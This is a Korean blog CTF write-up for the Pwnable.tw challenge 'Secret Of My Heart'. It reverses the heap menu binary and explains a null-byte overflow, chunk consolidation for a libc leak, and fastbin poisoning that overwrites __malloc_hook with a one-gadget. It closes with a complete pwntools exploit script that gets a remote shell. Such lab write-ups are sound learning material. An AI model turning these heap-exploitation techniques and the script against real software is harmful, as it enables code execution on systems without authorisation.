Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Pwnable.tw] Secret Of My Heart(Write-up) 본문

Hack/Pwnable

[Pwnable.tw] Secret Of My Heart(Write-up)

CIDY 2023. 2. 28. 23:50

점수보다는 솔브 수를 기준으로 문제 선택을 해나가는 중이다. 이거 풀고 3 X 17 풀어야 한다. 

mitigation

풀로 걸려있다. 힙 싫은데 힙일 확률이 상승함. 

glibc는 2.23이다. 에휴
 

init함수에서 mmap함.
 

메뉴다.
 

add함수이다. 0부터 99까지는 괜찮은데 넘어서면 full이라고 함. 보아하니 bss에 ptr을 저장하는 모양인데, 앞에서부터 비어있는 순으로 내어주는듯. 아 자세히 보니 bss에는 mmap주소만 저장하고 mmap한곳에 싹다 저장하는거구나
암튼 별일없으면 size of heart받고, (read_input은 int인데 input은 long임ㄷㄷ) 그게 0x100넘으면 안됨. 만약 read_input에 음수를 줘도 input이 unsigned라서 저 검사에 걸릴듯.
 

202018부터 48(0x30)단위로 관리되는 것 같은데, 이 구조를 잘 그려야 할듯. 
 
[     size    ] [   name   ] 
[   name   ] [   name   ] 
[   name   ] [ heart ptr ] 
 
위 단위로 반복되는데, 내가 입력한 size만큼 malloc해서 그걸 [5]에 넣음. 그리고 [1]부터 32만큼 read함. 여기서 뭐가 딱히 넘치지는 않는듯?
그리고 heart ptr에 secret of my heart라고 read_data함. 근데 *result를 왜 0으로 만드냐..? 만약에 0x28같은거 할당하고, 0x28꽉 채워버리면 malloc사이즈 부분이 망하지 않나?
해봐야할듯..
 

show함수이다. 0x63 == 99임. heart ptr을 만들었을 경우 해당 idx를 볼 수 있는듯. 
index는 입력받은 v1그대로 보여주고
size는 ptr[0]보여줌.
name보여주는데 여기서 힙 영역 주소 필요할 경우 릭할 수 있을것같고 mmap이용하면 libc leak도 되려나 싶은데 내가 직접 큰 사이즈를 할당할수는 없고, 앞에서 할당한 mmap이 있으니 나중에 잘 살펴보자..
secret메시지도..[5]에 %s해서 보여줌
 

역시 idx입력받고..99넘어가는지 검사하고..[5]에 값 있는지 검사하고..
 

ptr의 첫 부분을 0으로 만들고, 32memset (name부분) 밀어버리고, [5]를 free시키고 그 자리를 0으로 만든다.
 

근데 숨겨진 메뉴가 있다. 0x1305메뉴인데, mmap한곳 주소를 보여줌. 근데 바로 exit하는게 문제임.
 

저 mmap %p로 주소 릭할수 있을 줄 알았는데 뭐 되도않는 곳에 매핑돼있냐;; 2.23특인가. 암튼 저렇게 돼 있으면 엑싯이 없더라도 립씨랑은 한참 떨어져있어서 별 쓸모없을듯..
 

저게 freed처럼 보이지만 사실 freed가 아니다. 플래그 망가져서 그런듯ㅋㅋ 암튼 꽉 채우면 물리적 다음 청크의 사이즈를 망가뜨릴 수 있는 것은 맞음.
 
A할당 -> B할당 -> A해제 -> A와 동일 사이즈로 A`할당 
 
이렇게 하면 A -> (사이즈 망가진)B 이렇게 만들 수 있다. 이 상태에서는 A를 해제하든 B를 해제하든 터짐. 사이즈를 조작할 수 있는 것도 아니고 널로 덮을 수 있단거 하나만으로 익스를 하라하네.. 사실 저게 좀 치명적이기는 함. 
 
일단 show함수는 릭을 하라고 존재하는 게 맞다. 근데 끝에 무조건 널바이트가 들어가는데 어떻게 릭을 하지? 그러려면 내 생각에 두 청크를 병합한 다음, 할당해오면서 내 입력을 보내면서 split시키는데, 이 때 내 입력을 준 쪽이 아닌 다른 한 쪽의 위치를 잘 맞춰서 그쪽을 출력할 수 있도록 하면 된다. 
 
상세 계획을 세워보자. 병합해서 fastbin을 초과하는 사이즈를 만들었을 경우 분할은 자동적으로 할 수 있다. 그럼 어떻게 병합을 하느냐가 중요한데... 만약 0xb0사이즈를 넘어가는 청크가 있을 경우 자동적으로 병합되려고 할 것이다. 이때 prev_size에 있는 사이즈가 병합 범위에 있으면 그 사이즈만큼 청크를 인식하고, 병합 대상일 경우 병합할 것이다.(아마도?) 여기서 메모리 커럽션만 안 일어나게 청크 사이즈들을 잘 맞춰주면서 진행해보자. 
 
그리고 여기서 주의할 점은 병합을 위해 다음 청크의 prev_inuse플래그를 꺼 줘야 한다는 것이다. 여기서 null bytes poisoning을 이용할 수 있다. 그런데 한 가지 삽질했던게, 일단 첫 번째로 0x90이 fastbin이 아닌 unsorted bin에 들어간다는 점이다. 그리고 unsorted-unsorted가 되면 병합되니까 안 되는 건 알았는데, fastbin-fastbin이 병합 안된다는건 미처 생각을 못 했다; fastbin은 병합 대상이 아니기 때문에 맨 앞에 unsorted하나 끼고 0x100처럼 사이즈 인식하도록 해서 fastbin까지 한번에 병합시켜버리면 된다. 여기서 fastbin은 null poisoning에 사용하기 위해 할당한 상태로 해제된 청크 중간에 끼어있는 상태이다. 따라서 병합된 전체 청크를 할당해오면서 분할시켜주면 되는데, 이 때 아까 앞쪽 unsorted bin사이즈에 맞춰서 할당해오면 fastbin이었던 청크에 fd와 bk가 적힌다. 여기서 해당 fastbin의 idx를 show해서 릭할 수 있다.
 
그럼 이제 최종 익스를 할 차례다. 준비물로는 해제된 청크가 필요하다. fd를 조작하기 위해서는 overlap이 필수일 것 같다. 현재 0번 idx의 주소가 중간에 끼어 있는 상태이므로(0x78할당했던거,, 0x80) 그걸 오버랩으로 활용할 수 있다고 생각했다. 

위 사진과 같이 1번 해제 후 add해주면서 0번의 fd와 bk를 지우고(사실 이건 필요없는 과정인데 미관을 위해 지워줬다.) 헤더 정보를 수정해서(헤더 정보는 수정하지 않으면 현재 bin에 들어있지는 않지만 뭐가 안 맞아서 delete할 수 없는 상황이었다.) 다시 delete될 수 있도록 했다. 그런 다음 0번을 한번 더 지우고, 1번도 지운 다음, 1번이었던 친구를 0번으로 재할당해오면서 (마지막 번호 주석이 #1이 아니고 #0이다.) 해제된 청크의 fd에 hook주소를 써줬다.
 
근데 위와 같이 사이즈 오류가 난다. 이젠 한두 번 겪어본 상황도 아니다.. free hook은 전후로 허허벌판이라 fastbin연결을 이용할거면 malloc으로 원가젯 써야 한다. 오프셋도 외워둠. malloc_hook - 0x23부터 덮으면 된다.
 

from pwn import *

def add(size, name, secret):
	p.sendafter("Your choice :", "1")
	p.sendafter("Size of heart : ", str(size))
	p.sendafter("Name of heart :", name)
	p.sendafter("secret of my heart :", secret)

def show(idx):
	p.sendafter("Your choice :", "2")
	p.sendafter("Index :", str(idx))

def delete(idx):
	p.sendafter("Your choice :", "3")
	p.sendafter("Index :", str(idx))

def cheat():
	p.sendafter("Your choice :", "4869")


def one_gadget(filename, libc_base):
	return[(int(i) + libc_base) for i in subprocess.check_output(["one_gadget", "--raw", filename]).decode().split(" ")]

#p = process("./secret_of_my_heart")
e = ELF("./secret_of_my_heart")
libc = ELF("./libc_64.so.6")
p = remote("chall.pwnable.tw", 10302)

add(0x80, "A", "A") #0
add(0x60, "B", "B") #1
add(0xf0, "C", "C") #2
add(0x60, "D", "D") #3

delete(0)
delete(1)
add(0x68, "B", p64(0) * 12 + p64(0x100)) #0
delete(2) #colsolidate chunks

add(0x80, "A", "A") #1 -> split chunk
show(0)

p.recvuntil("Secret : ")
malloc_hook = u64(p.recvuntil(b"\x7f") + b"\x00\x00") - 88 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
log.info("libc base : " + hex(libc_base))
oneshot = one_gadget(libc.path, libc_base)
target = malloc_hook - 0x23


delete(1)
add(0x100, "A", p64(0) * 17 + p64(0x71) + p64(0) * 2) #1
delete(0)
delete(1)
add(0x100, "A", p64(0) * 17 + p64(0x71) + p64(target)) #0

overwrite = b"A" * 0x13 + p64(oneshot[2])
add(0x60, "A", "A")
add(0x60, "A", overwrite)

delete(2)

p.interactive()

malloc hook을 덮은 다음에는 free에서 오류를 발생시키면 된다.
 

flag

 

326